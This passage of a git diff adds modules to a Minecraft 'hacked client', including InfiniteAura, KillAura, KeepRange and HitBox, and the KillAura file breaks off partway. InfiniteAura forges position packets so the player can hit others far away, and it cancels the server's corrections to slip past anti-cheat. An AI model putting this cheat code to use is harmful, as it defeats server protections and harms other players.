+ GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_DEPTH_TEST) + mc.entityRenderer.disableLightmap() + val renderPosX = mc.renderManager.viewerPosX + val renderPosY = mc.renderManager.viewerPosY + val renderPosZ = mc.renderManager.viewerPosZ + for (point in path) { + var lastPosX = 114514.0 + var lastPosY = 114514.0 + var lastPosZ = 114514.0 + GL11.glLineWidth(1f) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glBegin(GL11.GL_LINE_STRIP) + RenderUtils.glColor(Color(255,255,255).rgb) + GL11.glVertex3d(point.xCoord - renderPosX, point.yCoord - renderPosY, point.zCoord - renderPosZ) + GL11.glEnd() + GL11.glDisable(GL11.GL_LINE_SMOOTH) + } + GL11.glColor4d(1.0, 1.0, 1.0, 1.0) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glPopMatrix()*/ + synchronized(path) { + if (path.isEmpty() || !pathRenderValue.get()) return + val renderPosX = mc.renderManager.viewerPosX + val renderPosY = mc.renderManager.viewerPosY + val renderPosZ = mc.renderManager.viewerPosZ + + GL11.glPushMatrix() + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glShadeModel(GL11.GL_SMOOTH) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_LIGHTING) + GL11.glDepthMask(false) + + var i = 0 + GL11.glLineWidth(2F) + GL11.glBegin(GL11.GL_LINE_STRIP) + var last: Vec3? =null; + var last2: Vec3? =null; + for (vec in path) { + i += 100 + RenderUtils.glColor(ColorManager.astolfoRainbow(50, 10-(i/2), i)) + val x = vec.xCoord - renderPosX + val y = vec.yCoord - renderPosY + val z = vec.zCoord - renderPosZ + val width = 0.3 + val height = 0.3 + try { + if (last != null && last2 != null) { + var loops = + sqrt((vec.xCoord - last.xCoord) * (vec.xCoord - last.xCoord) + ((vec.zCoord - last.zCoord) * (vec.zCoord - last.zCoord))) + loops += sqrt((last2.xCoord - last.xCoord) * (last2.xCoord - last.xCoord) + ((last2.zCoord - last.zCoord) * (last2.zCoord - last.zCoord))) + //FontLoaders.C18.drawString("绘制次数: "+loops,20,20,Color(255,255,255).rgb) + /*var temp1 = (last.zCoord - y) / (last.xCoord - x); + var temp2 = (last2.zCoord - y) / (last2.xCoord - x); + var a = (temp1 - temp2) / (last.xCoord - last2.xCoord); + var b = temp1 - a * (x + last.xCoord); + var c = y - b * x - a * x * x;*/ + //for(t in 1..3){ + // GL11.glVertex3d(((1 - t)*(1 - t)) * vec.xCoord + 2 * t * (1 - t) * last.xCoord + t * t * last2.xCoord, y, ((1 - t)*(1 - t)) * vec.zCoord + 2 * t * (1 - t) * last.zCoord + t * t * last2.zCoord) + //} + + } + if(last != null){ + last2=last + } + last = vec + }catch (e:Exception){ + e.printStackTrace() + } + GL11.glVertex3d(x, y, z) + //mc.entityRenderer.setupCameraTransform(mc.timer.renderPartialTicks, 2) + /*GL11.glLineWidth(2F) + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x - width, y, z - width) + GL11.glVertex3d(x - width, y, z - width) + GL11.glVertex3d(x - width, y + height, z - width) + GL11.glVertex3d(x + width, y + height, z - width) + GL11.glVertex3d(x + width, y, z - width) + GL11.glVertex3d(x - width, y, z - width) + GL11.glVertex3d(x - width, y, z + width) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x + width, y, z + width) + GL11.glVertex3d(x + width, y + height, z + width) + GL11.glVertex3d(x - width, y + height, z + width) + GL11.glVertex3d(x - width, y, z + width) + GL11.glVertex3d(x + width, y, z + width) + GL11.glVertex3d(x + width, y, z - width) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x + width, y + height, z + width) + GL11.glVertex3d(x + width, y + height, z - width) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x - width, y + height, z + width) + GL11.glVertex3d(x - width, y + height, z - width) + GL11.glEnd()*/ + } + GL11.glEnd() + GL11.glDepthMask(true) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_BLEND) + GL11.glPopMatrix() + GL11.glColor4f(1F, 1F, 1F, 1F) + } + if (!findWay.get().lowercase().contains("entity")) return + if (findWither() == null) return + val rad: Double = workReach.get().toDouble() + val partialTicks: Float = event.partialTicks + GL11.glPushMatrix() + GL11.glDisable(3553) + GL11.glEnable(3042) + GL11.glEnable(3042) + GL11.glBlendFunc(770, 771) + GL11.glEnable(2848) + GL11.glDisable(3553) + GL11.glDisable(2929) + GL11.glDisable(2929) + GL11.glDepthMask(false) + GL11.glLineWidth(1.0f) + GL11.glBegin(3) + val x: Double = (findWither()!!.lastTickPosX + + (findWither()!!.posX - findWither()!!.lastTickPosX) * partialTicks + - mc.renderManager.viewerPosX) + val y: Double = (findWither()!!.lastTickPosY + + (findWither()!!.posY - findWither()!!.lastTickPosY) * partialTicks + - mc.renderManager.viewerPosY) + val z: Double = (findWither()!!.lastTickPosZ + + (findWither()!!.posZ - findWither()!!.lastTickPosZ) * partialTicks + - mc.renderManager.viewerPosZ) + val pix2 = 3.1415926 + for (i in 0..20) { + RenderUtils.glColor(ColorManager.astolfoRainbow(5, 10, i)) + GL11.glVertex3d( + x + rad * cos(i * pix2 / 9.0), y, + z + rad * sin(i * pix2 / 9.0) + ) + } + GL11.glEnd() + GL11.glDepthMask(true) + GL11.glEnable(2929) + RenderUtils.stopDrawing() + GL11.glEnable(3553) + GL11.glPopMatrix() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/HitBox.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/HitBox.kt new file mode 100644 index 0000000..b06e0bf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/HitBox.kt @@ -0,0 +1,17 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue + +@ModuleInfo(name = "HitBox", category = ModuleCategory.COMBAT) +object HitBox : Module() { + + val sizeValue = FloatValue("Size", 0.4F, 0F, 1F) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/InfiniteAura.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/InfiniteAura.kt new file mode 100644 index 0000000..ebe5863 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/InfiniteAura.kt @@ -0,0 +1,247 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.PathUtils +import net.ccbluex.liquidbounce.utils.RaycastUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.PlayerCapabilities +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.client.C13PacketPlayerAbilities +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.util.Vec3 +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.concurrent.thread + +@ModuleInfo(name = "InfiniteAura", category = ModuleCategory.COMBAT) +object InfiniteAura : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Aura", "Click"), "Aura") + private val targetsValue = IntegerValue("Targets", 3, 1, 10).displayable { modeValue.equals("Aura") } + private val cpsValue = IntegerValue("CPS", 1, 1, 10) + private val distValue = IntegerValue("Distance", 30, 20, 100) + private val moveDistanceValue = FloatValue("MoveDistance", 5F, 2F, 15F) + private val noRegenValue = BoolValue("NoRegen", true) + private val noLagBackValue = BoolValue("NoLagback", true) + private val swingValue = BoolValue("Swing", true).displayable { modeValue.equals("Aura") } + private val pathRenderValue = BoolValue("PathRender", true) + private val colorRedValue = IntegerValue("ColorRed", 0, 0, 255).displayable { pathRenderValue.get() && !colorRainbowValue.get() } + private val colorGreenValue = IntegerValue("ColorGreen", 160, 0, 255).displayable { pathRenderValue.get() && !colorRainbowValue.get() } + private val colorBlueValue = IntegerValue("ColorBlue", 255, 0, 255).displayable { pathRenderValue.get() && !colorRainbowValue.get() } + private val colorAlphaValue = IntegerValue("ColorAlpha", 150, 0, 255).displayable { pathRenderValue.get() } + private val colorRainbowValue = BoolValue("Rainbow", false).displayable { pathRenderValue.get() } + + var lastTarget: EntityLivingBase? = null + + private val timer = MSTimer() + private var points = mutableListOf<Vec3>() + private var thread: Thread? = null + + private fun getDelay(): Int { + return 1000 / cpsValue.get() + } + + override fun onEnable() { + timer.reset() + points.clear() + } + + override fun onDisable() { + timer.reset() + points.clear() + thread?.stop() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!timer.hasTimePassed(getDelay().toLong())) return + if (thread?.isAlive == true) return + when (modeValue.get().lowercase()) { + "aura" -> { + thread = thread(name = "InfiniteAura") { + // do it async because a* pathfinding need some time + doTpAura() + } + points.clear() + timer.reset() + } + + "click" -> { + if (mc.gameSettings.keyBindAttack.isKeyDown) { + thread = thread(name = "InfiniteAura") { + // do it async because a* pathfinding need some time + val entity = RaycastUtils.raycastEntity(distValue.get().toDouble()) { entity -> entity != null && EntityUtils.isSelected(entity, true) } ?: return@thread + if (mc.thePlayer.getDistanceToEntity(entity) <3) { + return@thread + } + + hit(entity as EntityLivingBase, true) + } + timer.reset() + } + points.clear() + } + } + } + + private fun doTpAura() { + val targets = mc.theWorld.loadedEntityList.filter { it is EntityLivingBase && + EntityUtils.isSelected(it, true) && + mc.thePlayer.getDistanceToEntity(it) < distValue.get() }.toMutableList() + if (targets.isEmpty()) return + targets.sortBy { mc.thePlayer.getDistanceToEntity(it) } + + var count = 0 + for (entity in targets) { + + if(hit(entity as EntityLivingBase)) { + count++ + } + if (count > targetsValue.get()) break + } + } + + private fun hit(entity: EntityLivingBase, force: Boolean = false): Boolean { + val path = PathUtils.findBlinkPath(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, entity.posX, entity.posY, entity.posZ, moveDistanceValue.get().toDouble()) + if (path.isEmpty()) return false + val lastDistance = path.last().let { entity.getDistance(it.xCoord, it.yCoord, it.zCoord) } + if(!force && lastDistance > 10) return false // pathfinding has failed + + path.forEach { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(it.xCoord, it.yCoord, it.zCoord, true)) + points.add(it) + } + + if(lastDistance > 3) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(entity.posX, entity.posY, entity.posZ, true)) + } + + if (swingValue.get()) { + mc.thePlayer.swingItem() + } + mc.playerController.attackEntity(mc.thePlayer, entity) + + for (i in path.size - 1 downTo 0) { + val vec = path[i] + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(vec.xCoord, vec.yCoord, vec.zCoord, true)) + } + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + + return true + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is S08PacketPlayerPosLook) { + timer.reset() + } + val isMovePacket = (event.packet is C04PacketPlayerPosition || event.packet is C03PacketPlayer.C06PacketPlayerPosLook) + if (noRegenValue.get() && event.packet is C03PacketPlayer && !isMovePacket) { + event.cancelEvent() + } + if (noLagBackValue.get() && event.packet is S08PacketPlayerPosLook) { + val capabilities = PlayerCapabilities() + capabilities.allowFlying = true + mc.netHandler.addToSendQueue(C13PacketPlayerAbilities(capabilities)) // Packet C13 + + val x = event.packet.getX() - mc.thePlayer.posX + val y = event.packet.getY() - mc.thePlayer.posY + val z = event.packet.getZ() - mc.thePlayer.posZ + val diff = Math.sqrt(x * x + y * y + z * z) + event.cancelEvent() // cancel + PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(event.packet.getX(), event.packet.getY(), event.packet.getZ(), event.packet.getYaw(), event.packet.getPitch(), true)) + + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + synchronized(points) { + if (points.isEmpty() || !pathRenderValue.get()) return + val renderPosX = mc.renderManager.viewerPosX + val renderPosY = mc.renderManager.viewerPosY + val renderPosZ = mc.renderManager.viewerPosZ + + GL11.glPushMatrix() + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glShadeModel(GL11.GL_SMOOTH) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_LIGHTING) + GL11.glDepthMask(false) + + RenderUtils.glColor(if (colorRainbowValue.get()) { + ColorUtils.rainbow() + } else { + Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + }, colorAlphaValue.get()) + + for (vec in points) { + val x = vec.xCoord - renderPosX + val y = vec.yCoord - renderPosY + val z = vec.zCoord - renderPosZ + val width = 0.3 + val height = mc.thePlayer.getEyeHeight().toDouble() + mc.entityRenderer.setupCameraTransform(mc.timer.renderPartialTicks, 2) + GL11.glLineWidth(2F) + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x - width, y, z - width) + GL11.glVertex3d(x - width, y, z - width) + GL11.glVertex3d(x - width, y + height, z - width) + GL11.glVertex3d(x + width, y + height, z - width) + GL11.glVertex3d(x + width, y, z - width) + GL11.glVertex3d(x - width, y, z - width) + GL11.glVertex3d(x - width, y, z + width) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x + width, y, z + width) + GL11.glVertex3d(x + width, y + height, z + width) + GL11.glVertex3d(x - width, y + height, z + width) + GL11.glVertex3d(x - width, y, z + width) + GL11.glVertex3d(x + width, y, z + width) + GL11.glVertex3d(x + width, y, z - width) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x + width, y + height, z + width) + GL11.glVertex3d(x + width, y + height, z - width) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex3d(x - width, y + height, z + width) + GL11.glVertex3d(x - width, y + height, z - width) + GL11.glEnd() + } + + GL11.glDepthMask(true) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_BLEND) + GL11.glPopMatrix() + GL11.glColor4f(1F, 1F, 1F, 1F) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KeepRange.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KeepRange.kt new file mode 100644 index 0000000..f72c43a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KeepRange.kt @@ -0,0 +1,83 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.StrafeEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.client.settings.GameSettings +import net.minecraft.entity.player.EntityPlayer + +@ModuleInfo(name = "KeepRange", category = ModuleCategory.COMBAT) +object KeepRange : Module() { + + private val mode = ListValue("Mode", arrayOf("ReleaseKey", "CancelMove"), "ReleaseKey") + private val minDistance = FloatValue("MinDistance", 2.3F, 0F, 4F) + private val maxDistance = FloatValue("MaxDistance", 4.0F, 3F, 7F) + private val onlyForward = BoolValue("OnlyForward", true) + private val onlyCombo = BoolValue("OnlyCombat", true) + + private val keepTick = IntegerValue("KeepTick", 10, 0, 40) + private val restTick = IntegerValue("RestTick", 4, 0, 40) + + private var comboing = false + private val ticks = TickTimer() + var target: EntityPlayer? = null + private val binds = arrayOf( + mc.gameSettings.keyBindForward, + mc.gameSettings.keyBindBack, + mc.gameSettings.keyBindRight, + mc.gameSettings.keyBindLeft + ) + + @EventTarget + fun onAttack(event: AttackEvent) { + if (mc.thePlayer.hurtTime < 1) comboing = true + target = if (event.targetEntity is EntityPlayer) event.targetEntity else return + } + @EventTarget fun onStrafe(event: StrafeEvent) { + if (onlyCombo.get() && !comboing) return + if (mode.equals("CancelMove")) { + target?.let { + if (mc.thePlayer.getDistanceToEntityBox(it) <= minDistance.get() && !ticks.hasTimePassed(keepTick.get())) { + if (!onlyForward.get() || event.forward > 0F) { + event.cancelEvent() + } + } + } + } + } + @EventTarget fun onUpdate(event: UpdateEvent) { + if (target == null) return + if (onlyCombo.get() && !comboing) return + if (ticks.hasTimePassed(keepTick.get() + restTick.get())) ticks.reset() + ticks.update() + val distance = mc.thePlayer.getDistanceToEntityBox(target!!) + if (target!!.isDead || distance >= maxDistance.get()) { + target = null + for (bind in binds) bind.pressed = GameSettings.isKeyDown(bind) + return + } + if (mode.equals("ReleaseKey")) { + if (distance <= minDistance.get() && !ticks.hasTimePassed(keepTick.get())) { + if (onlyForward.get()) mc.gameSettings.keyBindForward.pressed = false + else for (bind in binds) bind.pressed = false + } else { + for (bind in binds) bind.pressed = GameSettings.isKeyDown(bind) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KeepSprint.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KeepSprint.kt new file mode 100644 index 0000000..28ef840 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KeepSprint.kt @@ -0,0 +1,20 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue + +@ModuleInfo("KeepSprint", category = ModuleCategory.COMBAT) +object KeepSprint : Module() { + private val motionAfterAttackOnGround = FloatValue("MotionAfterAttackOnGround", 0.6f, 0.0f,1f) + private val motionAfterAttackInAir = FloatValue("MotionAfterAttackInAir", 0.6f, 0.0f,1f) + + val motionAfterAttack + get() = if (mc.thePlayer.onGround) motionAfterAttackOnGround else motionAfterAttackInAir +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KillAura.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KillAura.kt new file mode 100644 index 0000000..5716488 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KillAura.kt @@ -0,0 +1,1499 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.Flight +import net.ccbluex.liquidbounce.features.module.modules.movement.StrafeFix +import net.ccbluex.liquidbounce.features.module.modules.movement.TargetStrafe +import net.ccbluex.liquidbounce.features.module.modules.player.Blink +import net.ccbluex.liquidbounce.features.module.modules.visual.FreeCam +import net.ccbluex.liquidbounce.features.module.modules.world.scaffold.Scaffold +import net.ccbluex.liquidbounce.features.module.modules.world.scaffold.Scaffold2 +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.ClientUtils.runTimeTicks +import net.ccbluex.liquidbounce.utils.EntityUtils.isLookingOnEntities +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.extensions.hitBox +import net.ccbluex.liquidbounce.utils.extensions.rayTraceWithServerSideRotation +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.gui.inventory.GuiContainer +import net.minecraft.client.gui.inventory.GuiInventory +import net.minecraft.enchantment.EnchantmentHelper +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.item.EntityArmorStand +import net.minecraft.item.* +import net.minecraft.network.play.client.* +import net.minecraft.potion.Potion +import net.minecraft.util.* +import net.minecraft.world.WorldSettings +import org.lwjgl.input.Keyboard +import java.awt.Color +import java.util.* +import kotlin.math.* + +@ModuleInfo(name = "KillAura", category = ModuleCategory.COMBAT, keyBind = Keyboard.KEY_R) +object KillAura : Module() { + + /** + * OPTIONS + */ + + // CPS + + private val clickDisplay = BoolValue("Click-Options", true) + + private val maxCpsValue: IntegerValue = object : IntegerValue("MaxCPS", 12, 1, 20) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = minCpsValue.get() + if (i > newValue) set(i) + + attackDelay = getAttackDelay(minCpsValue.get(), this.get()) + } + }.displayable { !simulateCooldown.get() && clickDisplay.get() } as IntegerValue + + private val minCpsValue: IntegerValue = object : IntegerValue("MinCPS", 8, 1, 20) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = maxCpsValue.get() + if (i < newValue) set(i) + + attackDelay = getAttackDelay(this.get(), maxCpsValue.get()) + } + }.displayable { !simulateCooldown.get() && clickDisplay.get() } as IntegerValue + + private val CpsReduceValue = BoolValue("CPSReduceVelocity", false).displayable { clickDisplay.get() } + + // Attack Setting + + private val attackDisplay = BoolValue("Attack-Options", true) + + private val swingValue = + ListValue("Swing", arrayOf("Normal", "Packet", "None"), "Normal").displayable { attackDisplay.get() } + + private val attackTimingValue = + ListValue("AttackTiming", arrayOf("All", "Pre", "Post"), "All").displayable { attackDisplay.get() } + val sprintmode = ListValue("SprintMode", arrayOf("KeepSprint","Ground","StopSprint","StopMotion","Normal"),"KeepSprint").displayable { attackDisplay.get() } + + private val hitselectValue = BoolValue("HitSelect", false).displayable { attackDisplay.get() } + private val hitselectRangeValue = FloatValue( + "HitSelectRange", + 3.0f, + 2f, + 4f + ).displayable { hitselectValue.get() && hitselectValue.displayable } + + private val hurtTimeValue = IntegerValue("HurtTime", 10, 0, 10).displayable { attackDisplay.get() } + private val clickOnly = BoolValue("ClickOnly", false).displayable { attackDisplay.get() } + private val simulateCooldown = BoolValue("CoolDown", false).displayable { attackDisplay.get() } + private val cooldownNoDupAtk = + BoolValue("NoDuplicateAttack", false).displayable { simulateCooldown.get() && attackDisplay.get() } + + // Range + private val rangeDisplay = BoolValue("Range-Options", true) + + val rangeValue: FloatValue = object : FloatValue("Target-Range", 3.0f, 0f, 8f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val i = discoverRangeValue.get() + if (i < newValue) set(i) + } + }.displayable { rangeDisplay.get() } as FloatValue + + private val discoverRangeValue = FloatValue("Discover-Range", 6f, 0f, 8f).displayable { rangeDisplay.get() } + + private val rangeSprintReducementValue = + FloatValue("RangeSprintReducement", 0f, 0f, 0.4f).displayable { rangeDisplay.get() } + + private val swingRangeValue = object : FloatValue("SwingRange", 5f, 0f, 8f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val i = discoverRangeValue.get() + if (i < newValue) set(i) + if (maxRange > newValue) set(maxRange) + } + }.displayable { rangeDisplay.get() } as FloatValue + + // Modes + private val modeDisplay = BoolValue("Mode-Options", true) + + private val priorityValue = ListValue( + "Priority", arrayOf( + "Health", + "Distance", + "LivingTime", + "Fov", + "Armor", + "HurtResistance", + "HurtTime", + "RegenAmplifier" + ), "Health" + ).displayable { modeDisplay.get() } + + private val targetModeValue = + ListValue("TargetMode", arrayOf("Single", "Switch", "Multi"), "Switch").displayable { modeDisplay.get() } + + private val maxSwitchFOV = FloatValue( + "MaxSwitchFOV", + 90f, + 30f, + 180f + ).displayable { targetModeValue.equals("Switch") && modeDisplay.get() } + private val switchDelayValue = IntegerValue( + "SwitchDelay", + 15, + 1, + 2000 + ).displayable { targetModeValue.equals("Switch") && modeDisplay.get() } + + private val limitedMultiTargetsValue = IntegerValue( + "LimitedMultiTargets", + 0, + 0, + 50 + ).displayable { targetModeValue.equals("Multi") && modeDisplay.get() } + + // AutoBlock + private val autoblockDisplay = BoolValue("AutoBlock-Settings", true) + + private val autoBlockValue = + ListValue("AutoBlock", arrayOf("Range", "Fake", "Off"), "Range").displayable { autoblockDisplay.get() } + + private val autoBlockRangeValue = object : FloatValue("AutoBlockRange", 5f, 0f, 8f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val i = discoverRangeValue.get() + if (i < newValue) set(i) + } + }.displayable { !autoBlockValue.equals("Off") && autoBlockValue.displayable } + private val autoBlockPacketValue = ListValue( + "AutoBlockPacket", + arrayOf( + "AfterAttack", + "Vanilla", + "Delayed", + "Legit", + "Legit2", + "OldIntave", + "Test", + "HoldKey", + "KeyBlock", + "Test2", + "Blink", + "Hypixel" + ), + "Vanilla" + ).displayable { autoBlockValue.equals("Range") && autoBlockValue.displayable } + private val interactAutoBlockValue = + BoolValue("InteractAutoBlock", false).displayable { autoBlockPacketValue.displayable } + private val smartAutoBlockValue = + BoolValue("SmartAutoBlock", false).displayable { autoBlockPacketValue.displayable } + private val blockRateValue = + IntegerValue("BlockRate", 100, 1, 100).displayable { autoBlockPacketValue.displayable } + private val legitBlockBlinkValue = BoolValue( + "Legit2Blink", + true + ).displayable { autoBlockPacketValue.displayable && autoBlockPacketValue.equals("Legit2") } + private val blinkBlockMode = ListValue( + "BlinkBlockType", + arrayOf("Blatant", "Legit3tick", "Legit4tick", "Legit5tick", "Dynamic"), + "Legit3tick" + ).displayable { autoBlockPacketValue.displayable && autoBlockPacketValue.equals("Blink") } + private val alwaysBlockDisplayValue = BoolValue( + "AlwaysRenderBlocking", + true + ).displayable { autoBlockValue.displayable && autoBlockValue.equals("Range") } + + // Hit delay + private val useHitDelay = BoolValue("UseHitDelay", false) + private val hitDelayTicks = IntegerValue("HitDelayTicks", 1, 1, 5).displayable { useHitDelay.get() } + + // Rotations + private val rotationDisplay = BoolValue("Rotation Options:", true) + + private val rotationModeValue = ListValue( + "RotationMode", + arrayOf( + "None", + "LiquidBounce", + "ForceCenter", + "SmoothCenter", + "SmoothLiquid", + "LockView", + "Optimal", + "Test", + "SmoothCustom" + ), + "LiquidBounce" + ).displayable { rotationDisplay.get() } + + private val customRotationValue = ListValue( + "CustomRotationMode", + arrayOf( + "LiquidBounce", + "Full", + "HalfUp", + "HalfDown", + "CenterSimple", + "CenterLine", + "CenterLarge", + "CenterDot", + "MidRange", + "HeadRange", + "Optimal" + ), + "HalfUp" + ).displayable { rotationDisplay.get() && rotationModeValue.equals("SmoothCustom") } + + private val silentRotationValue = + BoolValue("SilentRotation", true).displayable { !rotationModeValue.equals("None") && rotationDisplay.get() } + + private val maxTurnSpeedValue: FloatValue = object : FloatValue("MaxTurnSpeed", 180f, 1f, 